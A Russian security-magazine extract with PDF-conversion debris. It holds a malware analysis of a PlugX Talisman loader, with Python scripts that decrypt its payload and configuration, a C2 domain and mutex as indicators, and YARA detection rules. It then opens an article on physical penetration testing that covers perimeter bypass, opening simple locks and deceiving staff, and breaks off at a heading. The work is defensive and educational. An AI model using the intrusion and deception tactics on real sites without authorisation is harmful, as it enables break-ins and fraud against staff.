В IDA открываем­ вкладку­ File → Open и выбираем­ файл WGXMAN.DLL. После­ загрузки­ файла­ мы попадаем­ на функцию­ DllMain. Далее декомпилиру­ ­ем код, используя­ плагин­ HexRays, для этого­ нажимаем­ клавишу­ F5. И синхро­ ­низи­руем анализ­ кода на вкладке­ IDA View-A и Pseudocode-A, для чего перенесем­ вклад­ ку Pseudocode-A в правую­ часть вкладки­ IDA View-A. Нажатием­ правой­ кнопки­ мыши выберем Syncronize with → IDA View-A, теперь при выборе участка­ кода он будет подсве­ ­чивать­ся в каждой­ вкладке­ .

Участок­ кода функции­ DllMain

Перехо­ дим­ в функцию­ sub_6FE443C, эта функция­ и будет точкой­ входа­ во вре­ мя динамичес­ кой­ отладки. Проана­ лизи­ руем­ ее.

Код функции­ sub_6FE443C

Функция­ sub_6FE42A0 служит­ для получения­ списка­ функций­ экспорта­ динами­ ческой­ библиоте­ ки­ kernel32.dll.

Содер­ жимое­ функции­ sub_6FE42A0

Начнем­ отладку в x64dbg. Для этого­ перейдем­ к функции­ sub_6FE443C нажати­ ем сочетания­ клавиш­ Ctrl-G, затем наберем адрес функции­ и разберем­ алго­ ритм расшифров­ ки­ констант­ .

Переход­ по адресу­ 6FE443C

Поставим­ точку­ останова­ на вход функции­ . Нажмем­ F7 для захода в функцию­ и увидим­ интересу­ ющие­ нас констан­ ты­ .

Контроль­ ные­ суммы­ функций­ экспорта­ библиоте­ ки­ kernel32.dll

Начало­ отладки вредоно­ ­са

Зайдем­ в функцию­ call wgxman.6FE42D4 и разберем­ механизм поиска­ экспортных функций­ библиоте­ ки­ kernel32.dll.

Алгоритм­ дешифрования­ констант­

Псевдокод­ функции­ дешифрования­

В функции­ sub_6FE42D4 расположен­ алгоритм­ преобра­ ­зова­ния функции­ экспорта­ библиоте­ ­ки kernel32.dll. Имена­ экспортиру­ ­емых функций­ не хра­ нятся­ в открытом­ виде, поэтому­ трояну­ следует­ сначала­ привес­ ­ти их в пригод­ ­ ный для использования­ вид. Для этого­ на вход функции­ sub_6DE42D4 поступа­ ­ ет констан­ ­та и список­ функций­ экспорта­ библиоте­ ­ки kernel32.dll, далее из названия­ функции­ экспорта­ считыва­ ­ется символ­ , преобра­ ­зует­ся по алгорит­ ­ му ROR со смещени­ ­ем 7, а затем получается­ сумма­ всех преобра­ ­зован­ных символов­ .

Напишем­ этот алгоритм­ преобра­ ­зова­ния в виде программы­ на Python. Спи­ сок функций­ экспорта­ возьмем­ с сайта­ geofchappell.com.

name_const = ['0xc917432','0xf8062593','0xef64a41e','0xf4e2f2b2',

'0xb4ffafed','0xbbafdf85']

ror = lambda val, r_bits, max_bits: \

((val & (2**max_bits-1)) >> r_bits%max_bits) | \

(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))

f = open('list_export_kernel32.txt','r')

w = open('out_export.txt','w+')

def decode(s: str):

result = 0

for j in s:

result = ror(result,7,32)

result += ord(j)

return hex(result)

for i in f:

s = i.replace('\n','')

d = decode(s)

if d in func:

w.write(s + '-' + d +'\n')

f.close()

w.close()

Запус­ тив­ программу­ , мы получим следующий­ результат­ .

Вывод­ функции­ декодирова­ ния­ констант­

Преобра­ ­зуем псевдокод­ в читаемый­ формат­ , восполь­ ­зовав­шись возможнос­ ­ тями IDA Pro. Горячая клавиша­ N позволя­ ­ет переиме­ ­новать переменные­

в псевдокоде­ IDA.

Преобра­ зован­ ный­ псевдокод­ функции­ 6FE443C

После­ провер­ ­ки того, что имя запущенного­ файла­ содержит­ .NAC., управление­ передается­ по адресу­ 0x6FE44E1.

Мы разобрали­ метод запутывания­ названий­ функций­ вредоно­ ­сом. Теперь перейдем­ к участку­ кода, где расшифро­ ­выва­ется файл SNAC.LOG. Для этого­ найдем­ функцию­ CreateFileA, восполь­ ­зовав­шись сочетанием­ клавиш­ Ctrl-G.

Переход­ на функцию­ CreateFileA

По адресу­ 0x6FE43C8 происхо­ ­дит вызов функции­ CreateFileA, а в регистре­ EAX содержится­ путь к файлу­ SNAC.LOG.

Участок­ кода вызова функций­ CreateFileA, GetFileSize, VirtualAlloc

Далее­ вредонос­ получает­ размер­ файла­ SNAC.LOG с использовани­ ­ем функции­ GetFileSize. Затем происхо­ ­дит выделение­ памяти с помощью функции­

VirtualAlloc.

Продол­ жаем­ отлаживать­ код: нажимаем­ F8 и спускаем­ ся­ к адресу­ функции­

ReadFile.

Вызов­ функции­ ReadFile

Перей­ дем­ к значению­ в памяти ds:[edi+0x3C] (параметр lpBuffer функции­ ReadFile). Так как по этому­ адресу­ хранят­ ся­ значения­ , нажимаем­ правой­ кноп­ кой мыши на [edi+0x3c] и переходим­ на вкладку­ «Перейти­ к дампу­ → Зна­ чение [edi+0x3C]». После­ выполнения­ функции­ по этому­ адресу­ сохранит­ ся­ содержимое­ файла­ SNAC.LOG.

Адрес­ в памяти содержимого­ файла­ SNAC.LOG

По адресу­ 0x00550000 хранит­ ся­ содержимое­ файла­ SNAC.LOG. Нажимаем­ F8 и двигаем­ ся­ дальше­ . Находим участок­ кода, в котором расшифро­ выва­ ется­ этот файл.

Алгоритм­ расшифро­ вания­ файла­ SNAC.LOG

В регистр ESI передаются­ значения­ по адресу­ [edi+3c] (там хранит­ ся­ содер­ жимое файла­ SNAC.LOG), далее с каждым­ байтом­ файла­ происхо­ дит­ сле­ дующее преобра­ зова­ ние­ . Сначала­ из него вычитается­ значение­ 0x48, далее выполняет­ ся­ операция­ XOR со значени­ ем­ 0x19, и, наконец, полученный­ резуль­ тат складыва­ ется­ со значени­ ем­ 0xA7. Далее выполнение­ кода передается­

на расшифро­ ван­ ные­ значения­ и вызывается­ функция­ call esi. Поставим­ точ­ ку останова­ на этом вызове.

Давай­ напишем на Python код расшифров­ ­ки файла­ SNAC.LOG и загрузим­ расшифро­ ­ван­ный файл в IDA Pro.

f = open('SNAC.LOG','rb')

w = open('SNAC_DECODE.LOG','wb+')

cont = f.read()

result = bytearray()

for i in cont:

#print(i)

b = i - 0x48

b ^= 0x19

b += 0xa7

result.append(b & 0xff)

w.write(result)

f.close()

w.close()

Получен­

ный­

расшифро­ ван­ ный­

файл SNAC_DECODE.LOG загрузим­

в IDA Pro

и разберем­

его код.

 

 

Участок­ кода расшифро­ ван­ ного­ файла­ SNAC.LOG

Как видно­ из рисунка­ , происхо­ ­дит запуск функции­ sub_269DD, в качестве­ вто­ рого аргумен­ ­та передается­ размер­ файла­ SNAC.LOG, равный­ 159 981 байту­ . При выполнении­ этого­ кода происхо­ ­дит поиск WinAPI-функции­

GetProcAddress.

Поиск­ функции­ GetProcAddress

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИ w.

 

 

c

 

 

 

 

 

 

.co

 

 

 

 

to

BUY

 

 

 

 

 

w Click

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

df

 

 

n

e

 

 

 

 

-x ha

 

 

 

 

ИЗУЧАЕМ ВРЕДОНОС TALISMAN

НА ПРАКТИКЕ

Далее­ вредонос­ получает­ адреса­ следующих­ функций­ : LoadLibraryA,

VirtualAlloc, VirtualFree, ExitThread, RtlDecompressBuffer, memcpy.

Получе­ ние­ адресов­ функций­

Затем­ происхо­ дят­ следующие­ преобра­ зова­ ния­ .

 

 

 

 

 

 

 

 

 

Преобра­ зова­ ние­ данных­

 

 

 

 

 

 

 

 

 

На рисунке­ выше показан алгоритм­

расшифров­ ки­ полезной­ нагрузки­ , спрятан­ ­

ной внутри­ динамичес­ кой­ библиоте­ ки­ . С целью замедления­

расшифров­ ки­ пять

раз вызывается­

функция­

Sleep, затем расшифро­ ван­ ный­

буфер распаковы­

вает­ ­

ся с помощью функции­

RtlDecompressBuffer. Преобра­ зован­

ные­

данные­

будут

сохранены­

в

переменной­

v29, для которой выделяется­

память

с помощью функции­

VirtualAlloc. Наша задача — при отладке попасть

на функцию­

RtlDecompressBuffer, перейти­ про

адресу­

переменной­

v29

и сохранить­

область памяти. Так мы получим основную полезную­

нагрузку­

вре­

доноса­

PlugX.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Приступа­ ем­

к отладке. Мы останав­ ливались­

на операн­ де­

call

 

esi.

Заходим в функцию­ , нажимаем­ клавишу­

F7, а затем F8. Проходим­

этап получе­

ния адресов­

функций­ , далее, минуя этап расшифров­ ки­ полезной­

нагрузки­ ,

остановим­

ся­ перед запуском­

функции­

RtlDecompressBufer. Эту функцию­

мож­

но отыскать­ , спускаясь­ вниз по участку­ кода либо перейдя­ на ее вызов. Для этого­ можно­ использовать­ сочетание­ клавиш­ Ctrl-G в x64dbg, после­ чего следует­ ввести­ название­ функции­ , на которую мы хотим перейти­ .

Вызов­ функции­ RtlDecompressBufer

В регистре­ ESI хранят­ ­ся преобра­ ­зован­ные данные­ (параметр UncompressBuffer). Щелкнем­ правой­ кнопкой­ мыши на этом регистре­ , затем нажмем­ «Перейти­ к дампу­ → esi» и получим основную нагрузку­ вредоно­ ­са

PlugX.

Основная­ нагрузка­ модуля PlugX Talisman

Сохраним­ полученный­ код, для этого­ щелкнем­ правой­ кнопкой­ мыши на регис­ тре ESI и выберем в открывшемся­ меню пункт «Перейти­ к карте­ памяти».

Карта­ памяти

Нажмем­ правую­ кнопку­ мыши, чтобы­ сохранить­ дамп в файл. Мы выгрузили­ основную нагрузку­ вредоно­ са­ . Чуть позже­ мы загрузим­ ее в IDA Pro и разберем­ функци­ ональ­ ность­ , а для начала посмотрим­ , что происхо­ дит­ после­ расшифров­ ­ ки полезной­ нагрузки­ . В отладчике­ спускаем­ ся­ немного­ ниже (F8) и попадаем­ на формирова­ ние­ внутренней­ структуры­ вредоно­ са­ .

Формирова­ ­ние структуры­ PlugX Talisman

Спустимся­ до участка­ кода mov dword ptr ds:[esi],CF455089 и перейдем­

к дампу­ по адресу­ в регистре­ ESI. Для этого­ наводим курсор­ на регистр [esi], нажимаем­ правую­ кнопку­ мыши и открываем­ дамп.

Компании­ Trellix и «Доктор­ Веб» описыва­ ли­ схожие­ структуры­ PlugX, но мы разберем­ их самостоятель­ но­ .

Описание­ структуры­ Talisman

Дамп памяти структуры­ Talisman

Первые­ 4 байта­ содержат­ значение­ 0xCF455089, которое является­ сигнатурой­ структуры­ . Размер­ конфигура­ ции­ Talisman равен 0x1924 байт, а зашифрован­ ­ ный участок­ конфигура­ ции­ хранит­ ся­ по адресу­ 0x610013 (в твоем­ отладчике­ адрес будет отличать­ ся­ ).

Перей­ дем­ по адресу­ 0x610013, для этого­ нажмем­ правую­ кнопку­ мыши и в открывшемся­ меню выберем пункт «Перейти­ к дампу­ DWORD».

Содер­ жимое­ зашифрован­ ной­ конфигура­ ции­ PlugX Talisman

Скопиру­ ем­ полученное­ значение­ и сохраним­ в файл encrypt_talisman.txt.

Начало­ и конец конфигура­ ции­ Talisman

Мы нашли­ конфигура­ ­цию Talisman, теперь отыщем­ участок­ кода, который его расшифро­ ­выва­ет.

Для этого­ загрузим­ сохранен­ ­ный дамп полезной­ нагрузки­ PlugX Talisman в IDA Pro. Нам известно­ , что длина­ конфигура­ ­ции составля­ ­ет 0x1924 байт, а сигнатура­ конфигура­ ­ции имеет­ вид 0xCF455089. Найдем­ участок­ кода, где происхо­ ­дит сравнение­ сигнатуры­ и объема­ памяти конфигура­ ­ции.

В IDA Pro открываем­ вкладку­ Search → Sequence of bytes и вводим­ значение­

0x1924.

Поиск­ количества­ байтов­ конфигура­ ции­

Список­ найден­ ных­ участков­ кода сравнения­ объема­ конфигура­ ции­

Перехо­ дим­ в функцию­ sub_100243A0 и находим сравнение­ сигнатуры­ Talisman, а также­ размера­ файла­ конфигура­ ции­ .

 

Участок­ кода расшифров­ ки­ структуры­

Talisman

 

Функция­

sub_1000A710,

которую

мы

переиме­ нова­ ли­

в Decrypt_Config_Talisman, содержит­

участок­ кода расшифров­ ки­ структуры­

бэкдора­ .

 

 

 

 

 

 

Алгоритм­ расшифров­ ки­ конфигура­ ции­

Данный­ участок­ кода схож с модулем PlugX.38. Давай напишем на Python алго­ ритм расшифров­ ки­ конфигура­ ции­ , которую мы сохранили­ в файл encrypt_talisman.txt.

def DWORD(i):

return i & 0xFFFFFFFF

def LOBYTE(i):

return i & 0x000000FF

def dec(key, in_data):

k1 = k2 = k3 = k4 = key

result = bytearray()

for x in in_data:

k1 = DWORD(k1 + (k1 >> 3) - 0x11111111)

k2 = DWORD(k2 + (k2 >> 5) - 0x22222222)

k3 = DWORD(k3 + 0x33333333 - (k3 << 7))

k4 = DWORD(k4 + (0x44444444 - (k4 << 9)))

k = LOBYTE(k1 + k2 + k3 + k4)

result.append(ord(x) ^ k)

return result

f = open('encrypt_config.txt','r')

w = open('decrypt_config_talisman','wb')

encrypt_config = [chr(int(i,base=16)) for i in f.read().split(' ')

]

key = 0x4CB8B675

w.write(dec(key,encrypt_config))

f.close()

w.close()

Запус­ тив­ скрипт, мы получаем­ следующие­ значения­ .

Содер­ ­жимое конфигура­ ­ции PlugX Talisman

Размер­ конфигура­ ­ции составля­ ­ет 0x1924 байт, она содержит­ список­ панелей управления­ и C2-серверов­ (dhsg123.jkub.com). А вот и другие­ полученные­ нами полезные­ данные­ :

домаш­ ­ний каталог вредоно­ ­са — %ALLUSERSPROFILE%\SymantecSNAC;

мьютекс­ создава­ ­емо­го процес­ ­са — Global\ReStart0;

целевой­ процесс­ , в который будет внедрять­ ­ся вредонос­ , —

%SystemRoot%\system32\nslookup.exe;

имя отобража­ ­емой службы­ — SymantecSNAC;

идентифика­ ­тор компании­ — TEST.

На текущем этапе­ мы расшифро­ ­вали конфигура­ ­цию PlugX Talisman, теперь раз­ берем основную нагрузку­ DLL PlugX, которую извлекли­ из памяти.

Анализи­ ­руя код основной нагрузки­ PlugX, можно­ обнаружить­ следующие­ используемые­ плагины­ , расположен­ ­ные в функции­ sub_1000B9F0.

Список­ плагинов­ вредоно­ са­

После­ запуска­ полезной­ нагрузки­ вредонос­ создает­ следующие­ токены:

SeDebugPrivilege — эта привиле­ ­гия позволя­ ­ет процес­ ­су подклю­ ­чать­ся к любому процес­ ­су или ядру как отладчик;

SeTcbPrivilege — позволя­ ­ет процес­ ­су олицет­ ­ворить любого поль­ зователя­ без провер­ ­ки подлиннос­ ­ти, таким образом­ процесс­ может получить доступ­ к тем же локальным­ ресурсам­ , что и этот пользователь­ .

Далее­ вредонос­ создает­ основной поток, который называется­ bootProc.

Участок­ кода создания­ токенов

Также­ в основной нагрузке­ PlugX все функции­ Windows API вызываются­ динамичес­ ки­ на основе­ алгорит­ ма­ CRC32 от названий­ функций­ . Но в алгорит­ ­ ме необходимо­ добавить завершающий­ нулевой байт. Алгоритм­ поиска­ фун­ кций представ­ лен­ ниже.

import zlib

f = open('list_ws2_32.txt','r')

m = ['0x49f9b50b','0xeaed580c']

for i in f:

h=hex(zlib.crc32(bytes(i.replace('\n',''),'utf-8')+b'\x00'))

if h in m:

print(i,h)

Разыме­ нова­ ние­ функции­ gethostbyname из библиоте­ ки­ ws2_32.dll

Разыме­ нова­ ние­ функции­ WSAIoctl библиоте­ ки­ ws2_32.dll

В ходе анализа­ мы расшифро­ вали­ файл SNAC.LOG, конфигура­ цию­ PlugX Talisman, в которой хранят­ ся­ сведения­ о C2-серверах­ , а также­ расшифро­ вали­ основную нагрузку­ PlugX: она представ­ ляет­ собой DLL, загружа­ емую­ в память процес­ са­ SNAC.exe.

СОЗДАНИЕ ПРАВИЛ

Давай­ создадим­ собствен­ ные­ правила­ YARA для детектирова­ ния­ процес­ са­ PlugX Talisman в памяти Windows, а также­ его поиска­ в файловой­ системе­ . Нам известен участок­ кода провер­ ки­ сигнатуры­ структуры­ Talisman, а также­ его раз­ мер. Этот код расположен­ в функции­ sub_100243A0 (полезной­ нагрузки­ PlugX). Восполь­ зуем­ ся­ для этих целей плагином­ mkYARA для IDA.

Наводим­ курсор­ мыши на участок­ кода и жмем правую­ кнопку­ , затем в открывшемся­ меню выбираем­ пункт mkyara → Generate Normal Yara Rule.

Плагин­ сгенери­ ­рует правило­ для определе­ ­ния сигнатуры­ 0xCF455089. Те же самые действия­ выполним­ на участке­ кода, в котором сравнива­ ­ется длина­ кон­ фигурации­ 0x1924. Сформиру­ ­ем следующее­ правило­ .

rule generated_rule

{

meta:

autor="rayhunt454"

hash = "C6C6162CCA729C4DA879879B126D27C0"

/*

0x10024421L 8138895045CF cmp dword ptr [eax], 0xcf455089

*/

/*

0x1002448aL 81781824190000 cmp dword ptr [eax + 0x18], 0x1924

*/

strings:

$chunk_1 = {

81 38 89 50 45 CF

}

$chunk_2 = {

81 78 ?? 24 19 00 00

}

condition:

$chunk_1 and $chunk_2

}

Теперь­ разработа­ ­ем правило­ для поиска­ вредоно­ ­са в файловой­ системе­ . Будем детектировать­ загрузчик­ , в нашем случае­ это файл WGXMAN.dll.

При анализе­ файла­ WGXMAN.dll мы обнаружи­ ­ли скрытую­ строку­ SNAC.LOG, а также­ файл c отладоч­ ­ной информацией­ . На основе­ этих сведений­ сформиру­ ­ ем правило­ .

rule Plugx_WGXMAN

{

meta:

autor="rayhunt454"

hash = "B4F12A7BE68D71F9645B789CCDC20561"

strings:

$snac = "SNAC.LOG" wide ascii

$pdb = "sesagent70\\snac_build\\bin.ira\\wgxman.pdb"

nocase

condition:

$snac and $pdb

}

Протес­ ­тиру­ем разработан­ ­ные сигнатуры­ . Для этого­ восполь­ ­зуем­ся утилитой­

YaraEditor. Откроем­ вкладку­ Test → Test items, нажмем­ кнопку­ Folder и выберем каталог, в котором расположе­ ­ны вредонос­ ­ные модули. Нажмем­ на кнопку­ Process и выберем процесс­ SNAC.exe. После­ нажатия на кнопку­ Scan items YaraEditor начинает­ искать строки­ .

Детект­ модуля в памяти Windows

Определе­ ние­ файла­ WGXMAN.dll

Мы научились­ разрабаты­ ­вать сигнатуры­ для поиска­ вредоно­ ­са в файловой­ сис­ теме и памяти Windows. В результате­ исследова­ ­ния мы сформирова­ ­ли сле­ дующие IOCs: мьютекс Global\ReStart0, управляющий­ сервер­ dhsg123[.] jkub[.]com, а также­ контроль­ ­ные суммы­ исследуемых­ файлов­ .

Для поиска­ в файловой­ системе­ вредонос­ ных­ файлов­ на основе­ IOCs можно­ использовать­ ути­ литу Loki Scanner, в которую есть возможность­ добавлять­ правила­ YARA, хеш суммы­ модулей, а также­ мьютексы­ .

ВЫВОДЫ

Мы научились­ исследовать­ вредонос­ ные­ файлы­ и разрабаты­ вать­ собствен­ ные­ правила­ их детектирова­ ния­ . Процесс­ реверса­ очень долгий­ и иногда­ неп­ ростой: необходимо­ использовать­ несколь­ ко­ инстру­ мен­ тов­ для поиска­ нужных­ вирусному­ аналити­ ку­ участков­ кода. Для создания­ более гибких­ правил­ YARA приходит­ ся­ исследовать­ множес­ тво­ схожих­ вредоно­ сов­ и находить идентичные­ участки­ кода. Перед тем как приступать­ к глубоко­ му­ изучению­ образца, надо провес­ ти­ первичный­ анализ­ файлов­ , найти­ в них интерес­ ные­ строки­ , а также­ проверить­ их на наличие упаков­ щиков­ и крипторов­ .

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

c

 

o m

ВЗЛОМ

 

 

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ОТВЕЧАЕМ НА ВОПРОСЫ БУДУЩИХ

ВЗЛОМЩИКОВ В БЕЛОЙ ШЛЯПЕ

В пентестер­ ском­ комьюни­ ти­ не так уж час­ то разбира­ ют­ тему физической­ безопас­ ности объектов­ , на которых расположе­ ны­ интересу­ ющие­ нас серверы­ . А зря! При анализе­ векторов­ атаки­ не стоит­ забывать и о возможнос­ ти­ физического­ проник­ новения­ , а не только­ о «бруте­ хешей паролей». В этой статье мы ответим­ на самые животрепещу­ щие­ вопросы­ , свя­ занные­ с физическими­ пентеста­ ми­ , а еще я поделюсь историей­ одного­ такого про­ екта.

r00t_ owl

Ведущий специалист компании «Информзащита», в свободное время преподаю в онлайн-школе

CyberEd parkour48@mail.ru

В ЧЕМ ОТЛИЧИЕ «ФИЗИЧЕСКОГО ПЕНТЕСТА» ОТ КРАЖИ СО ВЗЛОМОМ?

Все, что ты делаешь­ , должно­ выполнять­ ­ся строго­ согласно­ договору­ , сос­ тавленному­ вашей организа­ ­цией и заказчиком­ . Учти, что любые отклонения­ от методологии­ проведе­ ­ния работ или импровиза­ ­ция могут повлечь­ за собой

серьезные­ неприят­ ­ности, в том числе­ примене­ ­ние физической­ силы сотрудни­ ­ ками соответс­ ­тву­ющих структур­ .

КАКИЕ НУЖНЫ ДОКУМЕНТЫ?

Имей в виду, что все твои действия­ (практичес­ ки­ каждый­ шаг) должны­ быть прописа­ ны­ в методологии­ физического­ пентеста­ . Согласова­ ние­ такого документа­ , как правило­ , занимает­ не один день, в него постоян­ но­ вносят­ прав­ ки тестиру­ емая­ организа­ ция­ и юристы­ с обеих­ сторон­ .

Чаще­ всего­ руководитель­ проекта­ также­ подготовит­ пакет документов­ , который будет в полной­ мере подтверждать­ твою личность­ . Стандар­ тный­ набор обычно­ состоит­ из копии паспорта­ , заверенной­ копии трудово­ го­ догово­ ра, документа­ с названи­ ем­ и серийным­ номером носимой техники­ (ноутбук­ , смартфон­ , Proxmark и прочее­ ) и справки­ , что у тебя нет судимости­ .

В зависимос­ ­ти от рода деятельнос­ ­ти проверя­ ­емой организа­ ­ции может пот­ ребоваться­ предваритель­ ­но оформить­ разные­ допуски­ , а также­ пройти­ инс­ труктаж­ по технике­ безопасности­ . Делается­ это в первый­ день прибытия­ на тестиру­ ­емый объект­ .

О ЧЕМ НУЖНО ПРЕДУПРЕДИТЬ ЗАКАЗЧИКА?

Понят­ но­ , что неосведом­ ленность­ сотрудни­ ков­ о предсто­ ящих­ работах — это одно из необходимых­ нам условий­ . Исключени­ ем­ может быть разве­ что начальник­ службы­ информацион­ ной­ безопасности­ . Увы, эти условия­ выпол­ няются­ не всегда­ , что повышает­ сложность­ нашей задачи.

Однако­ «грязно­ сыграть­ » можешь и ты сам, применив­ методы социаль­ ной­ инженерии­ и договорив­ шись­ с кем то из сотрудни­ ков­ организа­ ции­ заказчика­ . Такой «договорняк­ » может, наоборот­ , упростить достижение­ целей аудита­ . Подобные­ методы социаль­ ного­ взаимо­ дей­ ствия­ с персоналом­ заранее опи­ сать и обговорить­ невозможно­ : универ­ саль­ ного­ подхода­ к решению задач такого характера­ не существу­ ет­ .

Поэто­ ­му доля импровиза­ ­ции все же будет присутс­ ­тво­вать, о чем стоит­ ска­ зать контак­ ­тно­му лицу проверя­ ­емой организа­ ­ции (тому самому начальнику­ службы­ ИБ).

КАКИЕ МОГУТ ВОЗНИКНУТЬ ТРЕНИЯ С ПРАВООХРАНИТЕЛЬНЫМИ ОРГАНАМИ?

Важно­ помнить­ , что силовые структуры­ практичес­ ки­ всегда­ придер­ жива­ ются­ определен­ ных­ правил­ и регламен­ тов­ , поэтому­ попытки­ вступить­ в спор или разжечь­ конфликтную­ ситуацию­ ничем хорошим не кончатся­ . Посколь­ ку­ наши работы проводят­ ся­ абсолют­ но­ легально­ , нет смысла­ активно сопротив­ ­ ляться­ . Твоим­ главным­ оружием­ должны­ быть подвешен­ ный­ язык и знание­ законов, умелое­ бравиро­ вание­ которым может заставить­ сотрудни­ ка­ физичес­ кой безопасности­ засомневать­ ся­ в правиль­ нос­ ти­ своих­ действий­ (опять спа­ сает социалоч­ ка­ ). Но ты должен­ всегда­ помнить­ о собствен­ ной­ ответствен­ ­ ности за совершенные­ действия­ и понимать риски­ отклонения­ от согласован­ ­ ной методологии­ .

ЧТО, ЕСЛИ Я ПОПАДУСЬ?

Успешным­ проектом­ можно­ считать­ тот, где ты выполнил­ все поставлен­ ные­ задачи и при этом не спалил­ ся­ . Но бывает­ , что какой то сотрудник­ организа­ ции­ проявля­ ет­ бдитель­ ность­ и сообщает­ о подозритель­ ном­ лице (то есть о тебе) службе­ безопасности­ , за чем может последовать­ задержание­ .

Именно­ на этом этапе­ можно­ провес­ ти­ границу­ между­ законными­ действи­ ­ ями и теми, которые влекут­ за собой уголов­ ную­ ответствен­ ность­ . После­ задер­ жания тебя, скорее­ всего­ , отправят­ в «комнату­ ожидания­ ». Затем кто то из сотрудни­ ков­ службы­ безопасности­ задаст несколь­ ко­ вопросов­ , которые помогут ему понять, кто ты такой и что за работы проводишь­ .

Это самый подходящий­ момент, чтобы­ предъявить­ папку­ с пакетом документов­ , которые подтвер­ ­дят твою личность­ и докажут, что твоя цель — анализ­ защищенности­ компании­ , а не какая то диверсия­ или, например­ , про­ мышленный­ шпионаж­ в пользу­ компании­ конкурен­ ­та.

С ЧЕГО СТОИТ НАЧИНАТЬ?

Физичес­ кий­

пентест­

можно­ разделить­

на два этапа­ — подготов­ ка­ и реали­

зация, то есть разведка­

и проник­ новение­ . Во время­ разведки­

мы изучаем­

внешний­ и внутренний­

периметр объекта­ , анализи­ руем­

обнаружен­

ные­

слабые­

места­ , решаем­ , какими путями будем проникать­

внутрь.

 

 

 

 

 

 

 

 

Далее­ действу­ ем­ методами­ социаль­ ной­

инженерии­ . Ищем способ­

сделать­

копию электрон­

ного­

 

пропус­ ка­ либо выдаем­ себя за работника­

обслужива­ юще­ ­

го персонала­

(инженер­ , уборщик­ , охранник), соискателя­

на вакансию­ , курьера­

и так далее. В общем, за того, кого пропус­ тят­ на территорию­

без лишних­

подозрений­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Чем тщатель­

нее­

ты подойдешь­

к этапу­ разведки­ , тем более убедитель­

ную­

личность­

сможешь­

изобразить­

. Здесь придет­ ся­ подумать о многих­ вещах,

начиная от легенды­ и заканчивая­

одеждой­ и сопутству­ ющи­ ми­ документами­ .

 

Второй­

этап — непосредс­ твен­

но­ проник­ новение­ . На этом этапе­ нам пред­

стоит­ преодо­ леть­

физическую­

защиту при помощи

 

техничес­ ких­

средств

и базовых инстру­ мен­ тов­ медвежат­

ника­ . Скорость­

и сноров­ ка­ приобре­ тают­

ся­

с опытом­ , то есть с каждым­

выполненным­

проектом­

. Ни один учебник­ , статья

или лекция­

не прибавят­

тебе уверен­ ности­

 

в действи­ ях­ ,

особен­ но­ когда­ речь

идет о работе, где уровень­ адренали­ на­ значитель­ но­ выше нормы­ . Самооб­ ладание­ здесь — самое важное­ . Умение­ грамот­ но­ составить­ леген­

ду и уверен­ но­ обманывать­ персонал­ помогут пройти­ в критичес­ ки­ важные­ помещения­ и, что еще важнее­ , уйти, не вызвав­ подозрений­ .

КАК ПРОВОДИТЬ РАЗВЕДКУ?

Прийти­ на объект­ и изучить­ :

Полом­ ­ки или дырки­ в загражде­ ­ниях.

Исполь­ ­зуемые для транспор­ ­тиров­ки сырья и отходов­ железнодорож­ ­ные пути. Если нет дополнитель­ ­ных загражде­ ­ний, можно­ попробовать­ пройти­ по ним пешком­ .

Подземный­ паркинг­ . Он нередко­ позволя­ ­ет попасть в бизнес­ центр минуя проход­ ­ную.

Всевоз­ ­можные места­ выгрузки­ и погрузки­ . Через них тоже можно­ обойти­ проход­ ­ную. Если такие зоны закрыты­ или не используют­ ­ся, то, как правило­ , они заперты­ на простые­ замки­ , вскрытие­ которых не представ­ ­ляет проб­ лем.

Техничес­ ­кие помещения­ . Все остальные­ зоны, не попавшие­ в пункты­ выше, но также­ позволя­ ­ющие миновать провер­ ­ку пропус­ ­ка.

Крыши­ и чердаки­ . Конечно­ , если удастся­ обнаружить­ пожарную­ лестни­ ­цу или забрать­ ­ся без нее.

КАК ПОМОГАЕТ СОЦИАЛЬНАЯ ИНЖЕНЕРИЯ?

